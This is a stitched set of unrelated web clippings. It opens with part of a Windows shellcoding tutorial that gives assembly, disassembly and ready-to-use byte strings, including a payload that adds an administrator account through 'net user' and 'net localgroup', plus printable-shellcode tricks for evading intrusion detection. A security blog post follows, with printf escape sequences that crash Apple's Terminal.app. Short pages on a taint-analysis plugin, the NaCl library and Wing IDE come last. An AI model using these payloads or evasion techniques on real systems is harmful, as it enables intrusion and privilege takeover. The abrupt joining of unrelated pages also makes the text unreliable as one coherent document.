     804808b:       50                      push   %eax
     804808c:       ff d3                   call   *%ebx
    
    Replace the code at the top with:
    **char code[] =****" \x31\xc0\xbb\xea\x1b\xe6\x77\x66\xb8\x88\x13\x50\xff\xd3";**
    
[/code]

When this code is inserted it will cause the parent thread to suspend for five
seconds \(note: it will then probably crash because the stack is smashed at
this point :-D\).

#### Example 2 - A Message to say "Hey"

This second example is useful in the fact that it will show a shellcoder how
to do several things within the bounds of windows shellcoding. Although this
example does nothing more than pop up a message box and say "hey", it
demonstrates absolute addressing as well as the dynamic addressing using
LoadLibrary and GetProcAddress. The library functions we will be using are
LoadLibraryA, GetProcAddress, MessageBoxA, and ExitProcess \(note: the A after
the function name specifies we will be using a normal character set, as
opposed to a W which would signify a wide character set; such as unicode\).
Let's load up arwin and find the addresses we need to use. We will not
retrieve the address of MessageBoxA at this time, we will dynamically load
that address.

[code]

    G:\>**arwin kernel32.dll LoadLibraryA**
    arwin - win32 address resolution program - by steve hanna - v.01
    LoadLibraryA is located at **0x77e7d961** in kernel32.dll
    
    G:\>**arwin kernel32.dll GetProcAddress**
    arwin - win32 address resolution program - by steve hanna - v.01
    GetProcAddress is located at **0x77e7b332** in kernel32.dll
    
    G:\>**arwin kernel32.dll ExitProcess**
    arwin - win32 address resolution program - by steve hanna - v.01
    ExitProcess is located at **0x77e798fd** in kernel32.dll
    
    
[/code]

* * *
[code]

    _;msgbox.asm_
    [SECTION .text]
    
    global _start
    
    
    _start:
    	;eax holds return value
    	;ebx will hold function addresses
    	;ecx will hold string pointers
    	;edx will hold NULL
    
    	
    	xor eax,eax
    	xor ebx,ebx			;zero out the registers
    	xor ecx,ecx
    	xor edx,edx
    	
    	jmp short GetLibrary
    LibraryReturn:
    	pop ecx				;get the library string
    	mov [ecx + 10], dl		;insert NULL
    	mov ebx, 0x77e7d961		;LoadLibraryA(libraryname);
    	push ecx			;beginning of user32.dll
    	call ebx			;eax will hold the module handle
    
    	jmp short FunctionName
    FunctionReturn:
    
    	pop ecx				;get the address of the Function string
    	xor edx,edx
    	mov [ecx + 11],dl		;insert NULL
    	push ecx
    	push eax
    	mov ebx, 0x77e7b332		;GetProcAddress(hmodule,functionname);
    	call ebx			;eax now holds the address of MessageBoxA
    	
    	jmp short Message
    MessageReturn:
    	pop ecx				;get the message string
    	xor edx,edx			
    	mov [ecx+3],dl			;insert the NULL
    
    	xor edx,edx
    	
    	push edx			;MB_OK
    	push ecx			;title
    	push ecx			;message
    	push edx			;NULL window handle
    	
    	call eax			;MessageBoxA(windowhandle,msg,title,type); Address
    
    ender:
    	xor edx,edx
    	push eax			
    	mov eax, 0x77e798fd 		;exitprocess(exitcode);
    	call eax			;exit cleanly so we don't crash the parent program
    	
    
    	;the N at the end of each string signifies the location of the NULL
    	;character that needs to be inserted
    	
    GetLibrary:
    	call LibraryReturn
    	db 'user32.dllN'
    FunctionName
    	call FunctionReturn
    	db 'MessageBoxAN'
    Message
    	call MessageReturn
    	db 'HeyN'
    
    
    
    
    
    
[/code]

* * *
[code]

    [steve hanna@1337b0x]$ **nasm -f elf msgbox.asm; ld -o msgbox msgbox.o; objdump -d msgbox**
    
    msgbox:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       **31 c0**                   xor    %eax,%eax
     8048082:       **31 db**                   xor    %ebx,%ebx
     8048084:       **31 c9**                   xor    %ecx,%ecx
     8048086:       **31 d2**                   xor    %edx,%edx
[/code]

[code]

     8048088:       **eb 37**                  jmp    80480c1 
[/code]

0804808a

: 804808a: **59** pop %ecx 804808b: **88 51 0a** mov %dl,0xa\(%ecx\) 804808e:
**bb 61 d9 e7 77** mov $0x77e7d961,%ebx 8048093: **51** push %ecx 8048094:
**ff d3** call \*%ebx 8048096: **eb 39** jmp 80480d1

08048098

: 8048098: **59** pop %ecx 8048099: **31 d2** xor %edx,%edx 804809b: **88 51
0b** mov %dl,0xb\(%ecx\) 804809e: **51** push %ecx 804809f: **50** push %eax
80480a0: **bb 32 b3 e7 77** mov $0x77e7b332,%ebx 80480a5: **ff d3** call
\*%ebx 80480a7: **eb 39** jmp 80480e2

080480a9

: 80480a9: **59** pop %ecx 80480aa: **31 d2** xor %edx,%edx 80480ac: **88 51
03** mov %dl,0x3\(%ecx\) 80480af: **31 d2** xor %edx,%edx 80480b1: **52** push
%edx 80480b2: **51** push %ecx 80480b3: **51** push %ecx 80480b4: **52** push
%edx 80480b5: **ff d0** call \*%eax 080480b7

: 80480b7: **31 d2** xor %edx,%edx 80480b9: **50** push %eax 80480ba: **b8 fd
98 e7 77** mov $0x77e798fd,%eax 80480bf: **ff d0** call \*%eax 080480c1

: 80480c1: **e8 c4 ff ff ff** call 804808a

80480c6: **75 73** jne 804813b

80480c8: **65** gs 80480c9: **72 33** jb 80480fe

80480cb: **32 2e** xor \(%esi\),%ch 80480cd: **64** fs 80480ce: **6c** insb
\(%dx\),%es:\(%edi\) 80480cf: **6c** insb \(%dx\),%es:\(%edi\) 80480d0: **4e**
dec %esi 080480d1

: 80480d1: **e8 c2 ff ff ff** call 8048098

80480d6: **4d** dec %ebp 80480d7: **65** gs 80480d8: **73 73** jae 804814d

80480da: **61** popa 80480db: **67** addr16 80480dc: **65** gs 80480dd: **42**
inc %edx 80480de: **6f** outsl %ds:\(%esi\),\(%dx\) 80480df: **78 41** js
8048122

80480e1: **4e** dec %esi 080480e2

: 80480e2: **e8 c2 ff ff ff** call 80480a9

80480e7: **48** dec %eax 80480e8: **65** gs 80480e9: **79 4e** jns 8048139

[code]

    Replace the code at the top with:
    **char code[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb\x61\xd9"\
    		"\xe7\x77\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\x32"\
    		"\xb3\xe7\x77\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x03\x31\xd2\x52\x51"\
    		"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xfd\x98\xe7\x77\xff\xd0\xe8\xc4\xff"\
    		"\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"\
    		"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"\
    		"\xff\x48\x65\x79\x4e";**
    
    
[/code]

This example, while not useful in the fact that it only pops up a message box,
illustrates several important concepts when using windows shellcoding. Static
addressing as used in most of the example above can be a powerful \(and easy\)
way to whip up working shellcode within minutes. This example shows the
process of ensuring that certain DLLs are loaded into a process space. Once
the address of the MessageBoxA function is obtained ExitProcess is called to
make sure that the program ends without crashing.

#### Example 3 - Adding an Administrative Account

This third example is actually quite a bit simpler than the previous
shellcode, but this code allows the exploiter to add a user to the remote
system and give that user administrative privileges. This code does not
require the loading of extra libraries into the process space because the only
functions we will be using are WinExec and ExitProcess. Note: the idea for
this code was taken from the Metasploit project mentioned above. The
difference between the shellcode is that this code is quite a bit smaller than
its counterpart, and it can be made even smaller by removing the ExitProcess
function\!

[code]

    G:\>**arwin kernel32.dll ExitProcess**
    arwin - win32 address resolution program - by steve hanna - v.01
    ExitProcess is located at **0x77e798fd** in kernel32.dll
    
    G:\>**arwin kernel32.dll WinExec**
    arwin - win32 address resolution program - by steve hanna - v.01
    WinExec is located at **0x77e6fd35** in kernel32.dll
    
    
[/code]

* * *
[code]

    ;_adduser.asm_
    [Section .text]
    
    global _start
    
    _start:
    
    jmp short GetCommand
    
    CommandReturn:
        	 pop ebx            	;ebx now holds the handle to the string
       	 xor eax,eax
       	 push eax
        	 xor eax,eax        	;for some reason the registers can be very volatile, did this just in case
      	 mov [ebx + 89],al   	;insert the NULL character
      	 push ebx
      	 mov ebx,0x77e6fd35
      	 call ebx           	;call WinExec(path,showcode)
    
       	 xor eax,eax        	;zero the register again, clears winexec retval
       	 push eax
       	 mov ebx, 0x77e798fd
     	 call ebx           	;call ExitProcess(0);
    
    
    GetCommand:
        	;the N at the end of the db will be replaced with a null character
        	call CommandReturn
    	db "cmd.exe /c net user USERNAME PASSWORD /ADD && net localgroup Administrators /ADD USERNAMEN"
    
    
[/code]

[code]

    steve hanna@1337b0x:~$ **nasm -f elf adduser.asm; ld -o adduser adduser.o; objdump -d adduser**
    
    adduser:     file format elf32-i386
    
    Disassembly of section .text:
    
    08048080 <_start>:
     8048080:       **eb 1b**                   jmp    804809d 
[/code]

08048082

: 8048082: **5b** pop %ebx 8048083: **31 c0** xor %eax,%eax 8048085: **50**
push %eax 8048086: **31 c0** xor %eax,%eax 8048088: **88 43 59** mov
%al,0x59\(%ebx\) 804808b: **53** push %ebx 804808c: **bb 35 fd e6 77** mov
$0x77e6fd35,%ebx 8048091: **ff d3** call \*%ebx 8048093: **31 c0** xor
%eax,%eax 8048095: **50** push %eax 8048096: **bb fd 98 e7 77** mov
$0x77e798fd,%ebx 804809b: **ff d3** call \*%ebx 0804809d

: 804809d: **e8 e0 ff ff ff** call 8048082

80480a2: **63 6d 64** arpl %bp,0x64\(%ebp\) 80480a5: **2e** cs 80480a6: **65**
gs 80480a7: **78 65** js 804810e

80480a9: **20 2f** and %ch,\(%edi\) 80480ab: **63 20** arpl %sp,\(%eax\)
80480ad: **6e** outsb %ds:\(%esi\),\(%dx\) 80480ae: **65** gs 80480af: **74
20** je 80480d1

80480b1: **75 73** jne 8048126

80480b3: **65** gs 80480b4: **72 20** jb 80480d6

80480b6: **55** push %ebp 80480b7: **53** push %ebx 80480b8: **45** inc %ebp
80480b9: **52** push %edx 80480ba: **4e** dec %esi 80480bb: **41** inc %ecx
80480bc: **4d** dec %ebp 80480bd: **45** inc %ebp 80480be: **20 50 41** and
%dl,0x41\(%eax\) 80480c1: **53** push %ebx 80480c2: **53** push %ebx 80480c3:
**57** push %edi 80480c4: **4f** dec %edi 80480c5: **52** push %edx 80480c6:
**44** inc %esp 80480c7: **20 2f** and %ch,\(%edi\) 80480c9: **41** inc %ecx
80480ca: **44** inc %esp 80480cb: **44** inc %esp 80480cc: **20 26** and
%ah,\(%esi\) 80480ce: **26 20 6e 65** and %ch,%es:0x65\(%esi\) 80480d2: **74
20** je 80480f4

80480d4: **6c** insb \(%dx\),%es:\(%edi\) 80480d5: **6f** outsl
%ds:\(%esi\),\(%dx\) 80480d6: **63 61 6c** arpl %sp,0x6c\(%ecx\) 80480d9: **67
72 6f** addr16 jb 804814b

80480dc: **75 70** jne 804814e

80480de: **20 41 64** and %al,0x64\(%ecx\) 80480e1: **6d** insl
\(%dx\),%es:\(%edi\) 80480e2: **69 6e 69 73 74 72 61** imul
$0x61727473,0x69\(%esi\),%ebp 80480e9: **74 6f** je 804815a

80480eb: **72 73** jb 8048160

80480ed: **20 2f** and %ch,\(%edi\) 80480ef: **41** inc %ecx 80480f0: **44**
inc %esp 80480f1: **44** inc %esp 80480f2: **20 55 53** and %dl,0x53\(%ebp\)
80480f5: **45** inc %ebp 80480f6: **52** push %edx 80480f7: **4e** dec %esi
80480f8: **41** inc %ecx 80480f9: **4d** dec %ebp 80480fa: **45** inc %ebp
80480fb: **4e** dec %esi

* * *
[code]

    Replace the code at the top with:  
    
     **char code[] = "\xeb\x1b\x5b\x31\xc0\x50\x31\xc0\x88\x43\x59\x53\xbb\x35\xfd\xe6\x77"\
    		"\xff\xd3\x31\xc0\x50\xbb\xfd\x98\xe7\x77\xff\xd3\xe8\xe0\xff\xff\xff"\
    		"\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x6e\x65\x74\x20\x75\x73"\
    		"\x65\x72\x20\x55\x53\x45\x52\x4e\x41\x4d\x45\x20\x50\x41\x53\x53\x57"\
    		"\x4f\x52\x44\x20\x2f\x41\x44\x44\x20\x26\x26\x20\x6e\x65\x74\x20\x6c"\
    		"\x6f\x63\x61\x6c\x67\x72\x6f\x75\x70\x20\x41\x64\x6d\x69\x6e\x69\x73"\
    		"\x74\x72\x61\x74\x6f\x72\x73\x20\x2f\x41\x44\x44\x20\x55\x53\x45\x52"\
    		"\x4e\x41\x4d\x45\x4e";**
[/code]

When this code is executed it will add a user to the system with the specified
password, then adds that user to the local Administrators group. After that
code is done executing, the parent process is exited by calling ExitProcess.

## Advanced Shellcoding

This section covers some more advanced topics in shellcoding. Over time I hope
to add quite a bit more content here but for the time being I am very busy. If
you have any specific requests for topics in this section, please do not
hesitate to email me.

#### Printable Shellcode

The basis for this section is the fact that many Intrustion Detection Systems
detect shellcode because of the non-printable characters that are common to
all binary data. The IDS observes that a packet containts some binary data
\(with for instance a NOP sled within this binary data\) and as a result may
drop the packet. In addition to this, many programs filter input unless it is
alpha-numeric. The motivation behind printable alpha-numeric shellcode should
be quite obvious. By increasing the size of our shellcode we can implement a
method in which our entire shellcode block in in printable characters. This
section will differ a bit from the others presented in this paper. This
section will simply demonstrate the tactic with small examples without an all
encompassing final example.

Our first discussion starts with obfuscating the ever blatant NOP sled. When
an IDS sees an arbitrarily long string of NOPs \(0x90\) it will most likely
drop the packet. To get around this we observe the decrement and increment op
codes:

* * *
[code]

    	**_OP Code        Hex       ASCII_**
    	**inc eax**        0x40        @
    	**inc ebx**        0x43        C
    	**inc ecx**        0x41        A
    	**inc edx**        0x42        B
    	**dec eax**        0x48        H
    	**dec ebx**        0x4B        K
    	**dec ecx**        0x49        I
    	**dec edx**        0x4A        J
[/code]

* * *
  
  
It should be pretty obvious that if we insert these operations instead of a
NOP sled then the code will not affect the output. This is due to the fact
that whenever we use a register in our shellcode we wither move a value into
it or we xor it. Incrementing or decrementing the register before our code
executes will not change the desired operation.

So, the next portion of this printable shellcode section will discuss a method
for making one's entire block of shellcode alpha-numeric-- by means of some
major tomfoolery. We must first discuss the few opcodes that fall in the
printable ascii range \(0x33 through 0x7e\).

* * *
[code]

    	sub eax, 0xHEXINRANGE
    	push eax
    	pop eax
    	push esp
    	pop esp
    	and eax, 0xHEXINRANGE
    	
[/code]

* * *
Surprisingly, we can actually do whatever we want with these instructions. I
did my best to keep diagrams out of this talk, but I decided to grace the
world with my wonderful ASCII art. Below you can find a diagram of the basic
plan for constructing the shellcode.  

[code]

    	The plan works as follows:
    		-make space on stack for shellcode and loader
    		-execute loader code to construct shellcode
    		-use a NOP bridge to ensure that there aren't any extraneous bytes that will crash our code.
    		-profit
    	
[/code]

But now I hear you clamoring that we can't use move nor can we subtract from
esp because they don't fall into printable characters\!\!\! Settle down, have
I got a solution for you\! We will use subtract to place values into EAX, push
the value to the stack, then pop it into ESP.  
  
Now you're wondering why I said subtract to put values into EAX, the problem
is we can't use add, and we can't directly assign nonprintable bytes. How can
we overcome this? We can use the fact that each register has only 32 bits, so
if we force a wrap around, we can arbitrarily assign values to a register
using only printable characters with two to three subtract instructions.  
  
If the gears in your head aren't cranking yet, you should probably stop
reading right now.  

* * *
[code]

    	The log awaited ASCII diagram
    	1)
    	EIP(loader code) --------ALLOCATED STACK SPACE--------ESP
    
    	2)
    	---(loader code)---EIP-------STACK------ESP--(shellcode--
    
    	3)
    	----loadercode---EIP@ESP----shellcode that was builts---
    	
[/code]

* * *
So, that diagram probably warrants some explanation. Basically, we take our
already written shellcode, and generate two to three subtract instructions per
four bytes and do the push EAX, pop ESP trick. This basically places the
constructed shellcode at the end of the stack and works towards the EIP. So we
construct 4 bytes at a time for the entirety of the code and then insert a
small NOP bridge \(indicated by @\) between the builder code and the
shellcode. The NOP bridge is used to word align the end of the builder code.  
  
_Example code:_

[/code]

[code]

* * *
and eax, 0x454e4f4a ; example of how to zero out eax\(unrelated\) and eax,
0x3a313035 push esp pop eax sub eax, 0x39393333 ; construct 860 bytes of room
on the stack sub eax, 0x72727550 sub eax, 0x54545421 push eax ; save into esp
pop esp

* * *
Oh, and I forgot to mention, the code must be inserted in reverse order and
the bytes must adhere to the little endian standard. That job sounds
incredibly tedious, thank god that matrix wrote a tool that does it for us\!
The point is that now you can use this utility only once you understand the
concepts presented above. Remember, if you don't understand it, you're just
another script kiddie.

  
  
**Further Reading**

Below is a list of great resources that relate to shellcoding. I suggest
picking up a copy of all of the documents listed, but if that is an
impossibility, at the very least get _The Shellcoder's Handbook_ ; it is a
pure goldmine of information.

  * _The Shellcoder's Handbook_ by Jack Koziol et al
  *  _Hacking - The Art of Exploitation_ by Jon Erickson
  * "Understanding Windows Shellcode" by nologin.org

**Conclusion**

**** At this point the reader should be able to write at the very least basic
shellcode to exploit applications on either the windows or linux platforms.
The tricks demonstrated here will help a shellcoder understand other's
shellcode and modify prewritten shellcode to fit the situation at hand.
Shellcoding is always looked at as a minor detail of hacking a piece of
software but invariably, a hack is only as strong enough as its weakest link.
If the shellcode doesn't work, then the attempt at breaking the software
fails; that is why it is important to understand all aspect of the process.
Otherwise, good luck and have fun shellcoding\!

Copyright 2004 Steve Hanna

# TippingPoint | DVLabs | What's Worse Than Finding a Bug in Your Apple?
**Created:**| _2/6/2010 2:15:22 PM_  
---|---  
**Updated:**| _2/6/2010 2:15:31 PM_  
**Author:**| __  
**Tags:**| _LOLZ Mac-hacking_  
  

## What's Worse Than Finding a Bug in Your Apple?

  * BY ROB KING
  * FRI 05 JUN 2009 14:49PM
  * 2993 VIEWS
  * 2 COMMENTS
  * LINK

Finding multiple bugs\!

Seriously, though, our most recent Digital Vaccine, DV7721, might as well have
been called the iDV. Why? Every new filter released in that DV was for a bug
in an Apple product.

Don't think that we're picking on Apple , though - this DV was our response to
Apple's recently-released QuickTime and iTunes updates. It also contains a
filter for a ZDI issue that was confirmed to have been fixed in the recent
10.5.7 update.

\(Actually, I am going to digress and pick on Apple for a minute here. I feel
like 10.5.7 was a bit of a fiasco. Well, that's not true. 10.5.7 was great.
10.5.6 was a fiasco and it took far too long to get 10.5.7 out.

Case in point: Raise your hand if you use FileVault. Raise your other hand if
you also use Time Machine. Finally, raise your gripping hand if you use a Time
Capsule. All three of these items are Apple products, right? They should
_just work_. I understand that FileVault's interaction with Time Machine is
suboptimal, but it does work after a fashion.

Well, it did work, after a fashion, until 10.5.6. 10.5.6 silently and
completely broke FileVault home directory backups in that situation. If you
had a Time Capsule and had FileVault-protected your home directory, your home
directory just didn't get backed up anymore. No error messages, no popups,
nothing. The FileVault images would get backed up if you logged out and logged
in as another user and did a backup that way, but that sort of defeats the
whole purpose.

Anyway, I didn't like having to use an alternative backup solution for the
_six months_ it took them to fix the issue. There were myriad other issues,
some relatively important, that languished in an unfixed state for that length
of time, but the backup one is the one that really irked me.\)

_Ahem_.

I have a special place in my heart for this most recent DV. Don't get me
wrong; all of our DVs are achievements, and proud we are of all of them, but
this most recent DV contains two filters for vulnerabilities that I
discovered.

The first vulnerability, TPTI-09-03, a vulnerability in iTunes, is more
glamorous, and probably much more likely to be exploited, but the other one,
TPTI-09-04, is, I think, more interesting. It is this vulnerability that I'm
going to talk about in this blog post.

\(Real quick: Props to Will Drewry, who also discovered the bug addressed in
TPTI-09-03.\)

The other bug is actually sort of obscure. It lies in the handling of xterm
escape sequences in Apple's Terminal.app.

Terminal.app is Apple's default terminal emulator for Mac OS X. It is the way
one would access the wonderful Unix underneath the shiny Cocoa exterior of Mac
OS X.

To explain terminal emulation, though, let's take a step back down memory
lane. Long ago, interaction with computers was not done by talking, or with
mice, or by talking into mice, or even command lines. In The Beginning,
computers were interacted with via a variety of archaic methods: physically
rewiring the computer, submitting programs as punched holes in paper tape or
cards, flipping switches on the computer's front panel...ah, those were the
days\!

However, by the time Unix came around \(which was almost exactly 40 years
ago\), most systems had adopted some form of interactive, command-based
interface. These commands were entered, and responses were delivered, via a
separate piece of hardware known as a terminal. The first popular terminals
were actually repurposed TeleType machines, communicating not with another
teleprinter across the country, but a computer across the hall.

The original terminals were fairly lacking in features: they could advance the
print head down the paper by one line, and, if you were lucky, could do it in
less time than it took to print a character, so that nothing was lost. If you
were extremely lucky, your terminal actually used the same character to
produce a newline as the other terminals in your organization.

While this worked fine for a while, people soon got tired of having all of
their mistakes printed on paper for the world to see and remember, so some
smart people created a so-called "glass TTY". These glass TTYs were
essentially a CRT attached to a keyboard. They emulated the older, paper-based
TTYs. They had no real intelligence; all they could do was print characters as
they were received from the other end, just like the paper TTYs. They just did
it without the paper.

Eventually, though, more smart people created the "smart terminal" \(named
after themselves, presumably\). Smart terminals abandoned the whole line-
oriented approach for a screen-oriented approach. The remote end \(the
computer\) could send special sequences of characters to these terminals, and
these terminals would interpret them as instructions to move the cursor to a
certain screen position, clear a line, scroll the screen up or down, and so
on. This was, of course, awesome, because it allowed the development of all
sorts of useful things, likeNethack, modal screen-oriented text editors, and
text editors for people who haven't seen the obvious superiority of modal
screen-oriented text editors.

Remember, though, that even the smart terminals contained no real intelligence
- they just interpreted sequences of characters sent from the computer. Most
of these characters were just printable characters - letters, numbers,
punctuation, etc, or some small set of control codes \(newline, bell, etc\).
The smart terminals needed a way to encode their special cursor-positioning
codes into this data stream. The answer was the  _escape code_.

In its purest sense, the term "escape code" or "escape sequence" is simply a
collection of symbols in a stream of symbols that indicate that they should be
interpreted differently from the normal interpretation mechanism. It
eventually became convention that smart terminals were controlled by a set of
escape sequences that consisted of an ASCII ESC character followed by a
terminal-specific sequence of characters that instructed it to do something.

\(ASCII included an escape character, ESC, precisely so that it could be
extensible.\)

What's important to note here is that these escape sequences are  _in-band_.
They are transmitted down the same channel as the data to be displayed. There
isn't some sort of separate command channel or anything like that.

Fast forward to the present day. The conventions for interacting with Unix,
Unix-like, and some other systems, haven't really changed. As far as they're
concerned, outside of any windowing systems, you're still talking to them via
a terminal connected by a serial line. Of course, the serial line is now a
virtual serial line, and the terminal is now a window on the screen that
emulates a terminal, but that's all just semantics.

With the advent of the X Window System, users had the wonderful ability to run
multiple terminal emulators in multiple windows. The early xterm adopted the
same set of escape sequences as the popular VT100 andTektronix 4014 terminals.
Eventually, though, xterm added additional escape sequences to take advantage
of the abilities of a terminal emulator running in a window rather than on a
fixed-size physical screen. Escape codes were added for useful things like
resizing the window.

And now, after all that, we get to the first part of the bug. Apple's
Terminal.app emulates \(partially\) an xterm. It responds to the control codes
that result in resizing a window. For example, try this in a Terminal window:

printf '\033\[4;400;600t'

Assuming your window wasn't already 600x400 pixels, it is now. That's because
the sequence <ESC>\[4 means "set the window size to the following numbers in
pixels". That first part, the ASCII ESC character \(octal 33\) followed by an
open-square bracket, is called the  _Command Sequence Introduction_ or CSI. It
precedes most of the xterm-specific command sequences.

Well, the other day, I was thinking of things that might contain a security
vulnerability. This is what I do when other people would be doing something
actually useful. I thought, "y'know, I bet nobody has audited Terminal.app
recently". I started thinking of things that might be vulnerable - one of the
first things I thought of was changing the size of the terminal to some crazy
size.

Well, a quick check by simply changing the terminal's size in its preferences
inspector results in nothing interesting; you're prevented from setting a
weird \(negative or really huge\) terminal size. Looks like, though, that
prohibition applies only to setting the window size via the preferences
inspector.

Terminal will gladly resize itself to any old size you specify via xterm's
resize-window escape sequence. Even negative sizes or crazy huge sizes. The
interesting part is, if you choose a specific couple of sizes or multiples
thereof, you get crashes. Crashes with controllable memory corruption. Oops.

Apple fixed this in 10.5.7, sorta. It no longer crashes, but you can still get
some interesting effects by doing something like this:

printf '\033\[4;-65535;-65535t'

Try it. It's fun. \(Note: On systems other than 10.5.7, that might crash
Terminal, so don't have anything open that you want to stay that way.\)

Okay, so, now the million-dollar question. So what? It's not like Terminal is
a remote application or an application that routinely takes input from remote,
potentially malicious parties, like Safari, at least, not without a ton of
user interaction.

Oh, wait. It is. Terminal.app is Apple's default terminal emulator. It is
registered as the default handler for "telnet://" URLs. That means that a web
page containing a "telnet://" link, will automatically open Terminal. That
newly-opened terminal will be running telnet, which will then automatically
connect to whatever remote host it was told to connect to, on whatever port,
and then start echoing the input it gets from that remote site to the terminal
window. Input including escape sequences. Including malicious escape
sequences.

This raises some interesting points. There are tons of applications that can
be automatically opened just by visiting a web page. A lot of these
applications probably aren't very high on any security team's list of
applications to secure. After all, they're not being pounded on by remote data
constantly, like Mail or Safari. Of course, when you start setting
applications up to be opened from web pages, they become just as accessible as
the web browser, but without the urgency of security auditing.

So, security teams the world over, remember: Any application that your
remotely-accessible program can open is just as vulnerable and just as in need
of auditing as the remotely-accessible program.

# tree-cbass - Taint-enabled Reverse Engineering Environment on top of a
Cross-platform Binary Symbolic execution System - Google Project Hosting

**Created:**| _9/27/2013 11:02:12 AM_  
---|---  
**Updated:**| _9/27/2013 11:02:12 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Tainting_  
  

# Taint-enabled Reverse Engineering Environment \(TREE****\)

TREE is an IDA Pro plugin that combines both dynamic taint analysis and
symbolic execution to support interactive security analysis on binaries from
multiple instruction sets and operating systems.

TREE and the back-end binary analysis engine CBASS\(Cross-platform Binary
Automated Symbolic execution System\) are developed by Cyber Innovation Unit
of Battelle Memorial Institute, based on research and development in the past
few years**.**

# News****

**2013-Aug-15** :

[code]

      * Tutorial 3 - Automated Path Exploration Demo Posted  
      * Tutorial 2 - Interactive Path Exploration Demo Posted
[/code]

**2013-Aug-08** :

[code]

      * Tutorial 1 - Taint Data Policy Demo Posted
[/code]

**2013-Aug-03** :

[code]

      * Black Hat talk and research publications posted
[/code]

**2013-Jul-25** : Version 0**.** 02

[code]

      * First release
[/code]

## Getting Started****

### Download Dependencies****

> Requirements Page
### Download Installer****

> Windows Installer
### Read Installation Manual****

> Installation Page
### Watch Tutorials****

> Tutorials Page
# Documentations****

  * Introductions Page 
  * Installation Page 
  * Requirements Page 
  * Tutorials Page 

# Publications****

  * Research Page 

# Getting Involved****

****

# GRSECURITY ACL DOCUMENTATION

**Created:**| _12/22/2009 11:14:37 AM_  
---|---  
**Updated:**| _12/22/2009 11:14:48 AM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  
<img src='img/Temp2_3386' />

# Build high level cryptographic tools with NaCl

**Created:**| _10/2/2013 3:12:42 PM_  
---|---  
**Updated:**| _10/2/2013 3:25:02 PM_  
**Author:**| __  
**Tags:**| _crypto programming_  
  

# Introduction****

NaCl \(pronounced "salt"\) is a new easy-to-use high-speed software library
for network communication, encryption, decryption, signatures, etc**.** NaCl's
goal is to provide all of the core operations needed to build higher-level
cryptographic tools**.**

Of course, other libraries already exist for these core operations**.** NaCl
advances the state of the art by improving security, by improving usability,
and by improving speed**.**

The following report contrasts NaCl with other libraries from a security
perspective: \(PDF\)  Daniel J. Bernstein, Tanja Lange, Peter Schwabe, "The
security impact of a new cryptographic library"**.** Pages 159–176 in
Proceedings of LatinCrypt 2012, edited by Alejandro Hevia and Gregory Neven,
Lecture Notes in Computer Science 7533, Springer, 2012**.** ISBN
978-3-642-33480-1**.**

## Upcoming features****

Major features in the next release of NaCl: full PIC support, for easy
integration into other languages; Ed25519 signatures \(currently available in
SUPERCOP\); NEON optimizations**.**

## Contributors****

The core NaCl development team consists of Daniel J. Bernstein \(University of
Illinois at Chicago and Technische Universiteit Eindhoven\), Tanja Lange
\(Technische Universiteit Eindhoven\), and Peter Schwabe \(Radboud
Universiteit Nijmegen\)**.**

NaCl was initiated under the CACE \(Computer Aided Cryptography Engineering\)
project funded by the European Commission's Seventh Framework Programme
\(FP7\), contract number ICT-2008-216499, running from 2008 through 2010**.**
CACE activities were organized into several Work Packages \(WPs\); NaCl was
the main task of WP2, "Accelerating Secure Networking"**.** Work on NaCl at
Technische Universiteit Eindhoven between 2008 and 2010 was sponsored by
CACE**.**

NaCl benefits from close collaboration with two other projects**.** The NaCl
API is based on, and has influenced, the SUPERCOP \(System for Unified
Performance Evaluation Related to Cryptographic Operations and Primitives\)
API developed for the eBACS \(ECRYPT Benchmarking of Cryptographic Systems\)
project**.** Many of the algorithms and implementations used in NaCl were
developed as part of Daniel J. Bernstein's High-Speed Cryptography project
funded by the U.S. National Science Foundation, grant number 0716498, and the
followup Higher-Speed Cryptography project funded by the U.S. National Science
Foundation, grant number 1018836**.** Work on NaCl at the University of
Illinois at Chicago was sponsored by these grants**.** "Any opinions,
findings, and conclusions or recommendations expressed in this material are
those of the author\(s\) and do not necessarily reflect the views of the
National Science Foundation**.** "

Several of the implementations in NaCl are partially or entirely from third
parties**.** The portability of NaCl relies on the `ref` implementation of
Curve25519 written by Matthew Dempsky \(Mochi Media, now Google\)**.** From
2009 until 2011 the speed of NaCl on common Intel/AMD CPUs relied on the
`donna` and `donna_c64` implementations of Curve25519 written by Adam Langley
\(Google\)**.** The newest implementations of Curve25519 and Ed25519 were
joint work with Niels Duif \(Technische Universiteit Eindhoven\) and Bo-Yin
Yang \(Academia Sinica\)**.** The `core2` implementation of AES was joint work
with Emilia Käsper \(Katholieke Universiteit Leuven, now Google\)**.**

Prototype Python wrappers around C NaCl have been posted by Langley; by Jan
Mojzis; and by Sean Lynch \(Facebook\)**.** Dempsky wrote reference
implementations of many functions in Python NaCl**.**

****

# Using Wing IDE with PyQt - Wingware Python IDE

**Created:**| _12/31/2009 6:14:43 PM_  
---|---  
**Updated:**| _12/31/2009 6:14:58 PM_  
**Author:**| __  
**Tags:**| _python programming qt_  
  

  * Skip to Content
  * Skip to Navigation
  * Site Map

<img src='img/Temp2_8781.gif' width='257' height='53' alt='Wingware Python IDE
logo' />

# Wingware Python IDE

## The Intelligent Development Environment for Python Programmers

* * *
  * Wing IDE Tutorial
  * How-Tos
  * Wing IDE Reference Manual
  * Python Documentation
  * Mailing Lists
  * Priority Support
  * Development Services

 _Home_ » _Support_ » _Index of All Documentation_ » _How-Tos_ » _How-Tos for
GUI Development_ »

# 5.2. Using Wing IDE with PyQt

<img src='img/Temp2_8780.gif' alt='Wing IDE Screenshot' />

Wing IDE is an integrated development environment that can be used to write,
test, and debug Python code that is written for the PyQt cross-platform GUI
development toolkit. Wing provides auto-completion, call tips, a powerful
debugger, and many other features that help you write, navigate, and
understand Python code.

